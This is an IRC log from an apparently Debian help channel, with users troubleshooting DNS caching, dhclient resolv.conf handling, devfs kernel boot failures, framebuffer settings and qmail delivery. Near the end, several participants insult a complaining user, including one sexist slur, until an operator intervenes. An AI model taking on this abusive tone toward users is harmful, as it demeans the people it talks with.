| 04:13.27 | bztunk | troubled: no |
| 04:13.38 | bztunk | troubled: bind9 does caching afaik |
| 04:13.54 | troubled | bztunk: no, was just curious if it was worth keeping installed in case it was faster with cached requests than bind is |
| 04:13.56 | catalyst | anyone run freedesktop X server here? |
| 04:13.57 | Covener | adamhall: not anything better than the deals avail just about every week |
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| 04:14.29 | adamhall | this is just a reg deal i think, but is it worth it? |
| 04:14.29 | bztunk | troubled: possible, but bind9 is more a security risk than only a caching server |
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| 04:14.44 | bztunk | troubled: unless you have remote clients, you don't need bin9 |
| 04:14.52 | bghfhfg | What is wrong with this syntax: sed s/"\"Path\" = \"/mnt/fd0\""/"\"Path\" = \""$FLOPDRVMNT"\""/ test > newtest (end)? |
| 04:15.00 | troubled | bztunk: well, I need to run bind9 anyways. but theres no point in using lwresd. i just thought thats what shipped with bind9 for caching |
| 04:15.29 | mwilson | catalyst: Why? There's no reason to. There may be someday, but why would you want to now? |
| 04:15.31 | bob2 | bghfhfg: why aren't you quoting all the quotes? |
| 04:15.42 | bztunk | ~info lwresd |
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| 04:16.46 | bghfhfg | Wouldn't sed get confused if it encountered something like ""Path" = "Blah""? |
| 04:16.49 | bztunk | troubled: i don't know what lwresd is really, but it's possible that bind in fact uses it, but it would surprise me |
| 04:16.57 | mo699898 | how do i configure a ethernet device via ifconfig via dhcp |
| 04:17.16 | lazarus | bztunk: light weight resolver daemon, ,iirc |
| 04:17.16 | RainbowW | mo699898: man dhclient |
| 04:17.25 | lazarus | mo699898: man 5 interfaces |
| 04:17.29 | troubled | bztunk: thats what I was wondering cause I didnt install it. must have came from tasksel |
| 04:17.37 | lazarus | mo699898: apt-get install dhcp3-client |
| 04:17.46 | bob2 | mo699898: /msg dpkg man interfaces |
| 04:18.21 | troubled | actually, another problem were having with ifup is we need to only use 127.0.0.1 for dns in resolv.conf, but option domain-name-servers 127.0.0.1; only works when we use prepend |
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| 04:19.01 | bztunk | troubled: anyways, if you want *real* answer, you should find a bind channel or something heh |
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| 04:19.27 | troubled | bztunk: no doubt :) they would probably tell me to try #lwresd :) |
| 04:19.34 | simonrvn | hehe |
| 04:19.41 | troubled | simonrvn: hush you! :) |
| 04:20.01 | simonrvn | hehehe :) |
| 04:20.07 | lazarus | troubled: bztunk ... man lwresd :) |
| 04:20.19 | lazarus | troubled: bztunk: seems informative, i deecided to check it |
| 04:20.54 | lazarus | troubled: bztunk: bind9 has its own protocol? not the dns protocol, apparently |
| 04:20.54 | troubled | bah, now he says his dhclient works fine |
| 04:21.14 | troubled | lazarus: i find that odd. Must mean for caching |
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| 04:21.23 | lazarus | troubled: yeah, me too btw |
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| 04:21.56 | lazarus | troubled: btw, ,i find dhcp3-client to often "magically" fix things that were broken in dhclient otherwise |
| 04:21.59 | troubled | well, earlier cromd was having problems with caching server named dnsmasq that was installed I think |
| 04:22.28 | mo699898 | where is the file that says witch modules to load at boot |
| 04:22.42 | bztunk | lazarus: yeah, that's what i read, that's why i don't want to really get into this heh |
| 04:22.42 | ljlane | /etc/modules |
| 04:22.43 | lazarus | mo699898: looked in /etc/modules yet? |
| 04:22.44 | simonrvn | /etc/modules |
| 04:22.49 | troubled | lazarus: i should probably ask him to upgrade hehe. was completly removed all comments from a file and it was STILL giving us problems about missing ;'s and empty option lines even though the file only had 2 lines! |
| 04:23.26 | Covener | troubled: ^M's maybe? |
| 04:23.40 | troubled | Covener: i was wondering about that, but im pretty sure he edited locally |
| 04:23.44 | lazarus | troubled: that upgrade fixes so much, i start there and then debug if still needed :) |
| 04:23.53 | troubled | its drivin me nuts! should be routine changes |
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| 04:24.09 | lazarus | troubled: yeah, /usr/bin/file should tell you if Covener is right |
| 04:24.10 | troubled | lazarus: so install dhcp3-client? |
| 04:24.19 | lazarus | troubled: yeah, if you admin the box |
| 04:24.34 | troubled | i dont, cromd does. |
| 04:24.36 | lazarus | troubled: it should auto-zap the old protocol one away :) |
| 04:24.54 | troubled | just trying to remove damn dhcp nameservers from resolve.conf. its been a nightmare. |
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| 04:25.22 | lazarus | troubled: ah, well, cromd and i talked a good bit earlier, tell him i recommend dhcp3-client |
| 04:25.33 | troubled | sounds goof |
| 04:25.35 | troubled | ahh |
| 04:25.37 | troubled | good :) |
| 04:25.51 | lazarus | troubled: someone has already pointed you to 'man 5 interfaces' i hope? |
| 04:25.54 | simonrvn | yeh dhcp3-* is an improvement |
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| 04:26.19 | troubled | lazarus: ive read long time ago. I was under impression I could only change resolv.conf from dhclient.conf |
| 04:26.32 | troubled | simonrvn: it use same dhclient.conf file and format at least> |
| 04:26.33 | troubled | ? |
| 04:26.38 | lazarus | troubled: resolv.conf sholdn't need to care about much, if you tweak intercfaces and dhclient.conf properly |
| 04:27.30 | lazarus | troubled: if it has new conffile entries or formats, they're minimal, but itt's been so long sincec i used the old stuff that i don't recall specifics |
| 04:27.34 | troubled | lazarus: well, right now we started with prepend domain-name-servers 127.0.0.1; worked fine of coruse until it keep trying dns from isp's dns. not i tried to change prepend to option, but it doesnt work |
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| 04:27.52 | troubled | i just want dhcp to leave the resolv.conf file alone really |
| 04:28.08 | lazarus | troubled: that can be arracnged, at least in ver3 |
| 04:28.22 | Covener | troubled: you want supersede? |
| 04:28.43 | cappicard | Anyone have winTV (bt878) with cable in linux? |
| 04:28.48 | troubled | confound: well, supercede works fine, but it seems every now and then dns switches to the seconda name server in resolv.conf |
| 04:28.54 | Covener | cappicard: I do, use tvtime and xmltv |
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| 04:29.09 | lazarus | troubled: supersede domain-name-servers 127.0.0.1 |
| 04:29.11 | troubled | confound: i wanna change supercede to option so 127.0.0.1 is the ONLY nameserver appearing in resolv.conf and its breaking things |
| 04:29.15 | troubled | lazarus: read above |
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| 04:29.32 | lazarus | troubled: i was pasting frrom another box, ,not reading channel :) |
| 04:29.43 | cappicard | Covener: for some reason, i can't get any other channels other than 3 (for VCR), 9, and 76 |
| 04:29.47 | cappicard | and they're fuzzy |
| 04:30.07 | Covener | cappicard: chosen the right freq table (such as north american cable) |
| 04:30.09 | cappicard | how would I get it to use my cable instead of broadcast? |
| 04:30.10 | lazarus | troubled: i usually prefer prepend anyway |
| 04:30.22 | cappicard | I am trying to use us-cable |
| 04:30.25 | Nyle | hey hello |
| 04:31.02 | lazarus | troubled: i had some very screwy adsl acounts that can only route to "their" dns box until some special authentication completed, meaning the 127.0.0.1 doesn't actually work yet |
| 04:31.04 | troubled | sorry, i meant prepend |
| 04:31.05 | deadcat | adhoc mode on a wireless card is mighty fine yall (= |
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| 04:31.25 | lazarus | troubled: so prepend would fallback to theirs after a timeout at least |
| 04:31.26 | lorax | hey.. i am getting this error fsch.ext2: no such file or directory while trying to open /dev/hda3 ... superblock could not be read bllaaa any ideas? |
| 04:31.36 | troubled | lazarus: no, its not that. this is just dhclieent being screwy cause we can see from resolv.conf contents |
| 04:31.38 | cappicard | I have mplayer playing my tape: (mplayer -tv driver=v4l:width=640:height=480:norm=NTSC:chanlist=us-cable tv://3) |
| 04:31.48 | bob2 | lorax: you're using devfs? |
| 04:32.11 | deadcat | cappicard: nice. (= |
| 04:32.25 | lorax | bob2 : dont know |
| 04:32.35 | lazarus | troubled: btw, edit /etc/dhcp3/dhclient.conf, not any old /etc/dhclient.conf that's left around |
| 04:32.38 | troubled | lazarus: if you look at the older dhclient.conf, you can see the line for option instead of prepend domain-name-servers. im under the impression that option should replace the dhcp supplied lines instead of just adding 127.0.0.1 first |
| 04:32.40 | cappicard | I already have tvtime too. |
| 04:32.43 | bob2 | lorax: ls -ld /dev/.devfs |
| 04:33.05 | troubled | lazarus: ill have to ask him to try install it. but if it borks he's screwed hehe |
| 04:33.07 | lazarus | troubled: i can see where that could be a source of frustrtation and confusion for you, if you --remove rather than --purge the old |
| 04:33.29 | lorax | bob2 :no such file or dir |
| 04:33.33 | lazarus | troubled: step one, cp /etc/dhclient.conf /root ;) |
| 04:33.53 | troubled | heh |
| 04:33.54 | bob2 | lorax: ls -ld /dev/hda3 |
| 04:34.18 | lorax | bob2 : no suck file or dir |
| 04:34.27 | troubled | lazarus: im betting that the dhclient.conf file needs option in a lease {} section to work |
| 04:34.35 | lorax | bob2 : just redid kernel |
| 04:34.59 | simonrvn | lorax: you have no /dev/hda3. that's why |
| 04:35.09 | simonrvn | the file isn't there |
| 04:35.23 | lazarus | troubled: actually, my only lease{} block is commented out :) |
| 04:35.25 | lorax | simonrvn: it was there before this kernel compile |
| 04:35.26 | simonrvn | MAKEDEV |
| 04:35.38 | simonrvn | lorax: file corruption happens |
| 04:35.47 | troubled | lazarus: same here, but if I change the prepend line to option, it didnt like it on his setup |
| 04:36.16 | troubled | lazarus: so I am assuming its some sort of bug. but also he was getting errors about missing ;'s on line 59, there is NO line 59! |
| 04:36.33 | lorax | when did makedev it said .devfsd presence implies active DevFS |
| 04:36.58 | simonrvn | is it installed at all? |
| 04:37.01 | bztunk | lorax: because .devfsd persence implies active devfs |
| 04:37.03 | troubled | lazarus: i have no idea wtf this guy has got going wrong, but until he get dns fixed his email wont work to a sub domain. since externall both domains point to the same ip. but internally (behind nat) they differ |
| 04:37.07 | simonrvn | you running a devfs kernel? |
| 04:37.15 | lorax | 2.4.20 |
| 04:37.37 | lazarus | troubled: -rw-r--r-- 1 root root 1728 Dec 26 21:33 /var/lib/dhcp3/dhclient.leases |
| 04:37.43 | troubled | lazarus: but every now and then his machine grabs dns from his isp's nameserver and thus exim thinks the subdomain is the same ip/local and wont deliver! |
| 04:37.53 | bob2 | lorax: so don't include devfs. |
| 04:37.59 | lazarus | troubled: any chancee that old version uses something similar? |
| 04:38.01 | bob2 | lorax: or at least understand what it is before enabling it. |
| 04:38.04 | troubled | lazarus: possibly, sec |
| 04:38.18 | lorax | bob2 : ok so how do i fix this? |
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| 04:38.43 | bob2 | lorax: disable devfs. then use a Debian kernel. |
| 04:38.44 | troubled | lazarus: he's not running dhcp3-client yet though |
| 04:40.10 | deadcat | whats the range for private class a? 10.0.0.0-10.255* ? |
| 04:40.13 | lorax | bob2 : how do i disbale this? |
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| 04:41.14 | troubled | lazarus: gonna get him to try supercede instead of option first, might be what im looking fo |
| 04:41.17 | troubled | r |
| 04:41.46 | deadcat | is it ok for my eth0 to be class a and my wlan0 to be class C? and wlan0 traffics going through eth0? |
| 04:41.48 | bob2 | lorax: disable devfs, and rebuild your kernel. or pass the kernel "devfs=nomount" at boot time. |
| 04:42.23 | lorax | ok bob2 : how do i disable devfs, i have never done this before |
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| 04:44.31 | soleil | who has time to investigate my peculiar mouse activity |
| 04:44.33 | lazarus | troubled: nod |
| 04:44.48 | bob2 | lorax: it's nto on by default, you explicitly included it youraself. |
| 04:44.54 | bob2 | lorax: look in the filesystems menu. |
| 04:45.06 | troubled | lazarus: im just wondering if theres a root exploit or nasty bug in dhcp then if its thiis flaky hehe |
| 04:45.12 | soleil | i'm using X4.3 and linux2.6... basically, my mouse works in KDE,Gnome, and Wmaker, but not in PWM |
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| 04:46.37 | lazarus | troubled: heh |
| 04:47.56 | sambatron | anyone ever used minimalist ? |
| 04:48.14 | bob2 | !info minimalist |
| 04:48.20 | dpkg | minimalist: (a MINImalist MAiling LIST manager), section mail, is optional. Version: 2.4-1 (sid), Packaged size: 38 kB, Installed size: 216 kB |
| 04:48.39 | troubled | lazarus: ok, supersede worked. I thought it was option instead of prepend :) bad me |
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| 04:48.59 | lorax | bob2 : ok you lost me.. what filesystems menu |
| 04:49.12 | bztunk | Jordy: b& |
| 04:49.13 | lazarus | ROOOOOOOOOOOOOOOOOOOOOOOOOOT |
| 04:49.17 | lazarus | troubled: heh |
| 04:49.17 | bob2 | lorax: nevermind, use a pre-buit kernel. |
| 04:49.26 | lorax | bob2 : in the kernel source? i can't run lilo |
| 04:49.29 | bob2 | lorax: you enabled devfs yourself, disable it in the kernel config. |
| 04:49.32 | bob2 | what? |
| 04:49.38 | lorax | bob : right |
| 04:49.53 | lazarus | Jordy: what is the problem? |
| 04:49.58 | troubled | lazarus: was it you that told cromd to change his domain.org to domain.internal!? |
| 04:49.59 | lorax | bob2 : i run lilo and it says cannto find dev/hda |
| 04:50.11 | lazarus | troubled: huh? not me, no way |
| 04:50.13 | bob2 | lorax: yadayada. |
| 04:50.20 | bob2 | lorax: use a bootdisk then. or install devfsd. |
| 04:50.21 | troubled | lazarus: better hope not hehe |
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| 04:51.01 | Jordy | There. |
| 04:51.41 | Jordy | Hello. |
| 04:51.53 | simonrvn | hullo |
| 04:52.19 | Jordy | I'm having a bit of trouble configuring my framebuffer. I'm using a Geforce 3. |
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| 04:52.55 | lorax | bob2 : so ok if i take out devfs in kernel-source, which i did, and i trued a boot disk, same thing, and i cannot install devffsd, because i cant apt-get |
| 04:52.58 | Techieb0y | join #linux |
| 04:53.06 | Jordy | Okay. Thanks. |
| 04:53.08 | lazarus | Techieb0y: / |
| 04:53.13 | Techieb0y | oops. |
| 04:53.19 | bob2 | Jordy: ot's probably best to disable FB entirely. |
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| 04:54.15 | bob2 | Jordy: unless you really want it for some reason. |
| 04:54.30 | lorax | bob2 : do you know how i can mount this system , re-config the kernel, and run lilo? |
| 04:54.56 | simonrvn | LD [M] net/sunrpc/auth_gss/rpcsec_gss_krb5.o mmmmmm |
| 04:54.57 | bob2 | lorax: sure. |
| 04:55.22 | lorax | bob2 : sweet, :) can ya share the info, i know this is frustrating |
| 04:55.31 | bob2 | extremely. |
| 04:55.38 | bob2 | don't build kernels if you don't know how to fix them. |
| 04:55.42 | bob2 | install devfsd. |
| 04:55.55 | bob2 | or get a boot disk and boot that. |
| 04:56.11 | troubled | whoever told cromd to change his zone's is a newbie! |
| 04:56.14 | troubled | show yourself! |
| 04:56.30 | scruffy | How could 'KeepAlives yes' in /etc/sshd_config possibly cause ssh connections to time out!? |
| 04:56.33 | troubled | fscking idiot told him to change everything from .org to .internal!@ |
| 04:56.39 | troubled | how new can you get?! |
| 04:56.47 | simonrvn | wtf? |
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| 04:56.50 | bob2 | s/newbie/moron/ |
| 04:56.52 | dondelelcaro | troubled: that's not new, that's just dumb. |
| 04:56.55 | mwilson | scruffy: It doesn't. |
| 04:57.23 | scruffy | mwilson: apparently, it is. |
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| 04:57.38 | simonrvn | no, there's other network issues besides ssh... |
| 04:57.42 | Jordy | Well, my specific problem with the framebuffer is, when I try to set the resolution from lilo.conf, nothing changes. fbset works, but not for every console or X. |
| 04:57.43 | troubled | dondelelcaro: tell me about it hehe. must have thought he didnt have a real domain named that or something hehe so it wouldnt conflict. but he does and he's also using dyndns externally to point everything to the one ip |
| 04:57.59 | simonrvn | Jordy: fbset -a |
| 04:58.25 | scruffy | simonrvn: changing that to no caused the problem to go away. *shrug* I'm puzzled, too. |
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| 04:58.39 | Jordy | simonrvn: Thanks! |
| 04:58.44 | VChriZZnb | hi |
| 04:58.51 | mwilson | scruffy: Really doesn't matter what you think. |
| 04:58.53 | VChriZZnb | can someone help me? im looking for a solution: http://217.196.72.192/kunden/onetrix.net/500mbit.jpg please query me! |
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| 04:59.15 | troubled | dondelelcaro: on /etc/init.d/bind9 restart, it reads the whole zone regardless of cache and serial number from the configs correct? |
| 04:59.28 | mwilson | scruffy: Since that option does in fact do exactly what it's documented to do. |
| 04:59.39 | dondelelcaro | troubled: it should... it does the same thing when you do ndc reload... |
| 04:59.45 | bob2 | WTF do you need 500MBit/s of traffic from one machine? |
| 04:59.46 | Jordy | Now, here's the problem. My fbset man page doesn't list it. |
| 05:00.01 | troubled | dondelelcaro: i thought ndc reload just rereads zones with new serials? |
| 05:00.09 | dondelelcaro | troubled: nope. |
| 05:00.22 | dondelelcaro | troubled: at least, not in bind8... |
| 05:00.27 | simonrvn | troubled: only makes changes to its cache if there has been changes - with rndc reload. restart it'll load everything fresh |
| 05:00.59 | troubled | simonrvn: restart yes, but reload i thought just checked serisl's and loads changed zones if serial is higher |
| 05:01.01 | VChriZZnb | bob2: erm... vserver ... |
| 05:01.05 | troubled | dondelelcaro: figures :) |
| 05:01.21 | simonrvn | troubled: yes. exactly hat it does. i think i said something like that too |
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| 05:01.46 | troubled | simonrvn: something "like" that? :) eheh |
| 05:02.41 | simonrvn | and i log various aspects, so it shows in named.log that it reloads some stuff, and keeps other sutff, depending on the serial change |
| 05:02.45 | dondelelcaro | its possible that serials play a role on systems where the FS doesn't have mtime, but with mtime, there's no reason not to use that. |
| 05:03.02 | troubled | dondelelcaro: i guess. might have more to do with slave dns servers I guess |
| 05:03.09 | simonrvn | it doesn,t see mtime |
| 05:03.24 | simonrvn | or it doesn't look at it |
| 05:03.24 | dondelelcaro | simonrvn: try touching the zonefiles and see if they get reloaded. |
| 05:03.25 | bob2 | it's so slaves know if to update or not |
| 05:03.32 | bob2 | since not everything uses NOTIFY. |
| 05:03.33 | simonrvn | dondelelcaro: i very much doubt it |
| 05:03.40 | bob2 | AIUI, anyway. |
| 05:03.45 | dondelelcaro | bob2: yeah, but I NOTIFY the slaves, so it doesn't matter... |
| 05:03.53 | bob2 | dondelelcaro: right. |
| 05:04.04 | bob2 | dondelelcaro: hm, do they slurp it up even if the serial hasn't been incremented? |
| 05:04.09 | dondelelcaro | bob2: yerp. |
| 05:04.20 | bob2 | do downstream servers cache based on the serial or anything? |
| 05:04.21 | dondelelcaro | bob2: I haven't changed my serials in ages... |
| 05:04.30 | bob2 | dondelelcaro: ah |
| 05:04.31 | dondelelcaro | bob2: they shouldn't, only on the ttl |
| 05:04.38 | helix | !spank bob2 |
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| 05:04.45 | scruffy | mwilson, simonrvn: can you offer any direction on where to look for network problems? ifconfig doesn't report any errant packets. |
| 05:04.45 | bob2 | !scratch helix |
| 05:04.55 | helix | damn, max opened 60 instances of gv |
| 05:04.58 | bob2 | helix! |
| 05:05.00 | soleil | ok everything is setup :-D all thats left now is to figure out whats wrong with my damn mouse! |
| 05:05.01 | helix | hello! |
| 05:05.14 | bob2 | I'm still impressed that he figured out the GIMP. |
| 05:05.33 | scruffy | mwilson, simonrvn: other than the dropped ssh sessions, I don't see any other problems wrt the network. |
| 05:05.44 | helix | bob2: yeah, me too. he managed to open nautilus, go to the images folder, right click on a picture and 'edit with the gimp' |
| 05:05.46 | soleil | scruffy: do you have a LinkSys router by any chance? |
| 05:05.52 | scruffy | soleil: no. |
| 05:05.56 | simonrvn | dondelelcaro: nope, no change. i touched a zone fil 3 times, did nothing |
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| 05:05.59 | dondelelcaro | helix: scary. |
| 05:06.02 | bob2 | helix: wow. |
| 05:06.10 | scruffy | soleil: ZyXel and Netgear switches |
| 05:06.16 | helix | dondelelcaro: yeah. and it was a picture of a witch! |
| 05:06.17 | bob2 | helix: all my cat ever did was brutally slay native birds. |
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| 05:06.36 | helix | bob2: also scary: galeon is open to 2600's homepage |
| 05:06.38 | troubled | simonrvn: what i figured. if you update serial and ndc reload, it reloads, but if you just restart bind it takes new zone anyways |
| 05:06.39 | helix | *I* didn't do that |
| 05:06.52 | bob2 | helix: max is a sleeper k1dd13! |
| 05:06.58 | soleil | scruffy: i dont know what to say. i've had that problem for over 2 years; its a known problem with my router... many results on google... it seems like its a router problem, but linksys hasnt fixed it yet |
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| 05:07.06 | master | somiaj : sorry it took me so long to get back i was waiting for the most recent kernel recompile, ok i tryed that link you sent me, and edited my /etc/apt/sources/list, and ran apt-get update, and it cant find either one of those sites... please help |
| 05:07.11 | helix | bob2: file:///home/helix/3.666666666666668596www.2600.com from the titlebar |
| 05:07.11 | bob2 | helix: the KGB trained him and sent him to a regular home, to await hsi activation order... |
| 05:07.22 | master | err sorry somiaj i ment soleil |
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| 05:07.35 | helix | htf did he do all this |
| 05:07.43 | helix | where did he even find a pdf to open? |
| 05:07.44 | simonrvn | troubled: yup |
| 05:07.50 | bob2 | helix: you should keep an eye on him. |
| 05:07.52 | beta3 | this was a great present :) |
| 05:07.56 | master | soleil : sorry it took me so long to get back i was waiting for the most recent kernel recompile, ok i tryed that link you sent me, and edited my /etc/apt/sources/list, and ran apt-get update, and it cant find either one of those sites... please help |
| 05:08.00 | beta3 | bob2: My mom got me a new bathrobe |
| 05:08.02 | troubled | woohoo! cromd is fully working |
| 05:08.05 | scruffy | soleil: it happens on the local net too, without going through the router, only the switch. Just started happening after upgrading two debian stable machines (which seem to close the connection). |
| 05:08.07 | bob2 | helix: and make sure all your passwords involve capital letters |
| 05:08.14 | helix | "do you want to see me in it? ;)" |
| 05:08.14 | troubled | dns and exim relays with subdomains behind nat ;) |
| 05:08.20 | helix | bob2: heh |
| 05:08.21 | bob2 | beta3: hah, nice. |
| 05:08.23 | beta3 | bob2: its one of the useful things in life :) |
| 05:08.30 | dondelelcaro | simonrvn: strange. one touch, and Dec 26 21:07:46 epsilon named[351]: master zone "donarmstrong.com" (IN) loaded (serial 2001121801) |
| 05:08.51 | simonrvn | i'm running bind9 9.2.x |
| 05:08.51 | dondelelcaro | simonrvn: as you can tell, the serial is from 2001 |
| 05:08.58 | dondelelcaro | simonrvn: ah, this in bind8 |
| 05:08.58 | troubled | actually, quick question, if you send mail to subdomain.main.org, and subdomain has no mx, it gets handled by main.org MX correct? |
| 05:09.01 | dondelelcaro | s/in/is/ |
| 05:09.04 | simonrvn | i've *always* has to increment |
| 05:09.14 | bob2 | troubled: no, subdomain.main.org |
| 05:09.18 | simonrvn | s/has/had/ (i never used bind8) |
| 05:09.25 | bob2 | troubled: if trhere is no MX record, it goes to the A record. |
| 05:09.28 | beta3 | bob2: I have to figure out how I can add a svn repo on alioth |
| 05:09.43 | bob2 | helix: has RK returned? |
| 05:09.47 | beta3 | bob2: svn.debian.org says its controlled there |
| 05:09.56 | bztunk | beta3: alioth is the machine that will get the ds3? |
| 05:10.02 | helix | bob2: yeah! |
| 05:10.06 | troubled | bob2: k, thanks. then he needs the sub domain to exist at dyndns.org |
| 05:10.08 | bob2 | helix: excellent. |
| 05:10.08 | mast_one | any qmail gurus in here |
| 05:10.16 | dondelelcaro | mast_one: just ask your question. |
| 05:10.19 | nevyn | mast_one: ask. |
| 05:10.21 | helix | bob2: yes, i'm going to snuggle him shortly |
| 05:10.28 | bob2 | helix: I've been spending days working on some RORK joke, but obviously I didn't get very far :/ |
| 05:10.33 | helix | bob2: btw, a flight to .au from cali takes ~14 hrs |
| 05:10.35 | simonrvn | dpkg-deb: building package `kernel-image-2.6.0-ben2' in `../kernel-image-2.6.0-ben2_2.6.devel_powerpc.deb'. |
| 05:10.41 | helix | bob2: hahaha.. |
| 05:10.48 | mast_one | i am having tough time getting external emails to the locals domain. |
| 05:10.54 | bob2 | helix: there;s a good one in there, though. |
| 05:11.03 | bob2 | helix: hm...told you hawaii was more central. |
| 05:11.04 | mast_one | its all in rcpthosts and locals. |
| 05:11.04 | helix | bob2: probably. think harder |
| 05:11.19 | helix | bob2: right but i just thought i'd mention it |
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| 05:11.23 | soleil | master: which links are you talkinga bout? |
| 05:11.25 | mast_one | it is working for local accounts |
| 05:11.30 | dondelelcaro | helix: cali? |
| 05:11.36 | mast_one | soleil: qmail |
| 05:11.37 | soleil | scruffy: mine *only* happens on local net |
| 05:11.39 | helix | dondelelcaro: ..fornia |
| 05:11.42 | bob2 | helix: I'm thinking as hard as I can! |
| 05:11.48 | soleil | mast_one: ? |
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| 05:11.52 | dondelelcaro | helix: yeah, just wondering why people were talking about cali... |
| 05:11.53 | simonrvn | midway |
| 05:12.09 | FONG | wow packages debian is still down |
| 05:12.10 | simonrvn | midway island |
| 05:12.14 | bob2 | FONG: /topic |
| 05:12.16 | helix | dondelelcaro: oh, we were talking about flights from the US to australia |
| 05:12.16 | scruffy | soleil: when going through the router, or bypassing it? |
| 05:12.22 | master | soleil i think it was you who send mt the link for xfree 4.3.0 backport for woody? |
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| 05:12.41 | dondelelcaro | helix: ah. there are a few nonstoppers from LAX and SFO to various points in AU |
| 05:12.41 | mast_one | messages in queue: 3 |
| 05:12.53 | mast_one | how do check it further? |
| 05:12.53 | beta3 | bztunk: huh? |
| 05:12.59 | helix | yeah :) |
| 05:13.07 | bob2 | mast_one: tried #qmail? |
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| 05:13.18 | bztunk | beta3: hum, nm |
| 05:13.23 | mast_one | nop. thanks. let me try that |
| 05:13.25 | bob2 | helix: 14 hours isn't so bad. but tha CALIFORNIANS! |
| 05:13.26 | dondelelcaro | so much nicer now that you don't have to stop in Hawaii, tahitii and the solomons, iirc. |
| 05:13.33 | bob2 | eh? |
| 05:13.44 | helix | yeah, screw californians |
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| 05:13.50 | bob2 | stopping in hawaii, tahiti and the solomons sounds great! |
| 05:13.57 | helix | bob2: not for layovers :) |
| 05:13.58 | soleil | scruffy: going through it |
| 05:14.01 | deadcat | )= |
| 05:14.02 | scruffy | soleil: this particular net I'm talking about its inernet -> router -> debian (fw) -> switch -> lan |
| 05:14.03 | soleil | master: yes |
| 05:14.07 | bob2 | hm, I suppose the airports have rather less sun and beachbabes than the beaches, tho. |
| 05:14.22 | dondelelcaro | bob2: yes... an airport looks much like any other... |
| 05:14.53 | soleil | scruffy: i see. ive never tried that setup befroe |
| 05:14.54 | chemicallyrelian | whats the local time over therre? |
| 05:15.00 | bob2 | helix: see if you can find any flights with layovers on the actual beaches. |
| 05:15.02 | master | soleil : on that page it says to edit /etc/apt/sources.lst and add 2 lines deb http://thesitehere/, i add those lines, run aptget update and it says it cant find that server |
| 05:15.06 | helix | haha |
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| 05:15.40 | simonrvn | tada |
| 05:15.55 | beta3 | bob2: is there somewhere that tells you howto setup an svn repo with alioth |
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| 05:16.11 | soleil | master: im using http://www.schulbei.org/debian/bruby for X4.3 |
| 05:16.16 | FONG | its so annoying i try to find a new distro but they all suck so im stuck with this debian thing *sigh* |
| 05:16.22 | soleil | master: schuldei* |
| 05:16.27 | bob2 | beta3: somewhere on alioth, I guess. dunno. |
| 05:16.30 | deadcat | anyone ever used a linksys pcm100h1 pcmcia card? i tried loading the pcnet_cs driver but no luck. |
| 05:16.30 | RainbowW | in sid is there a replacement for dselect? |
| 05:16.40 | bob2 | FONG: blah, rant somewhere else. |
| 05:16.40 | simonrvn | fuck, 3 hours to compile a 2.6er... grr |
| 05:16.43 | master | soleil : ok can u send me that whole line out of sources.list? |
| 05:16.44 | bob2 | RainbowW: aptitude. |
| 05:16.47 | bob2 | RainbowW: synaptic. |
| 05:16.55 | soleil | master: deb http://www.schuldei.org/debian/bruby/ ./ |
| 05:16.56 | dondelelcaro | RainbowW: you can use aptitude, synaptic, apt-gtk in woody. |
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| 05:17.04 | simonrvn | FONG: /j #FONG, and go rant there. thanks |
| 05:17.15 | dondelelcaro | s/apt-gtk//; |
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| 05:17.24 | master | soleil ok thanx |
| 05:17.27 | simonrvn | heeh |
| 05:17.37 | RainbowW | synaptic and apt-gtk seem to require X ... i, however ... don't have X. yet. :) |
| 05:17.48 | chemicallyrelian | localtime there anyone? here is 3 in the afternoon. |
| 05:17.53 | FONG | debian users are so snippy |
| 05:18.01 | simonrvn | RainbowW: dselect, aptitude |
| 05:18.07 | bob2 | RainbowW: aptitude! |
| 05:18.14 | RainbowW | FONG: Could it be that you're an idiot? |
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| 05:18.19 | bob2 | FONG: bleh, just sick of trollage. |
| 05:18.25 | simonrvn | FONG: when we get trolled yes of course we are. |
| 05:18.37 | bob2 | FONG: if you don't want to use Debian, don't. if you don't like it, but continue to use it, ranting on IRC is pointless. |
| 05:18.56 | mtnman | rainboww: s/idiot/moron/ ? |
| 05:19.08 | simonrvn | IRC isn't a freaking therapy session |
| 05:19.15 | RainbowW | mtnman: s/idiot/asshole |
| 05:19.21 | beta3 | bob2: this is warm, fleece :) |
| 05:19.38 | FONG | do they have a debian discussion channel where you can talk about stuff and its not a "Troll" |
| 05:19.51 | RichiH | yes, /dev/null |
| 05:19.57 | bob2 | FONG: you're welcome to talk abuot stuff here. |
| 05:19.58 | deadcat | hahahah |
| 05:20.00 | L00thar | nope. |
| 05:20.01 | bob2 | 16:16:17 FONG | its so annoying i try to find a new distro but they all suck so im stuck with this debian thing |
| 05:20.04 | bob2 | <PROTECTED> |
| 05:20.09 | L00thar | Nasty Boys rule here. |
| 05:20.17 | RainbowW | L00thar: I'm not a boy. |
| 05:20.19 | RichiH | that is trolling, by our definition |
| 05:20.27 | beta3 | FONG: /j #linux and you can bullshit and troll there since thats what most people do :) |
| 05:20.28 | bob2 | but that isn't really constructive duiscussion. |
| 05:20.28 | FONG | how is that trolling |
| 05:20.30 | ponds` | i say he should install windows |
| 05:20.39 | bztunk | ponds`: no |
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| 05:20.51 | FONG | saying a person should install windows, now thats trolling |
| 05:20.56 | bztunk | ponds`: even if he's the devil or something, *nobody* should use windows |
| 05:20.58 | FONG | oh what ever |
| 05:21.02 | FONG | carry on |
| 05:21.09 | FONG | dont mind me |
| 05:21.12 | mwilson | FONG: When you actually start talking about some subject, rather than ranting about how horrible everything is... then you will be paid attention to. |
| 05:21.18 | master | soleil : err couldnt get that one to work either, but i finaly found one on google that DOES work |
| 05:21.43 | mwilson | Why shouldn't they use Windows, if it does the job they're trying to accomplish? |
| 05:21.52 | FONG | now your just trolling |
| 05:22.06 | RainbowW | FONG: that doesn't stop you from being an idiot. why haven't you gone away? |
| 05:22.15 | deadcat | FONG: shut the fuck up slut! |
| 05:22.17 | mwilson | Really. How am I trolling? |
| 05:22.18 | FONG | lol |
| 05:22.27 | RichiH | ok. stop. |
| 05:22.31 | RichiH | all of you |
| 05:22.35 | RichiH | and i mean it |
| 05:22.39 | bob2 | hah. |
| 05:22.46 | deadcat | anyone ever used a linksys pcm100h1 pcmcia card? i tried loading the pcnet_cs driver but no luck. |
| 05:22.55 | L00thar | PROBLEM: I believe I ran out of space on /var when I was upgrading debconf with apt-get, among other packages. Now I am trying to reinstall/delete debconf (it's screwing up all further installs, I believe) with dpkg, but dpkg asks me to 'reinstall' B4 removing -- and I can't seem to do that. Anyone have any angles here? |
| 05:23.06 | RichiH | say what you need to say, but be aware that any further bullshit might result in a +q |
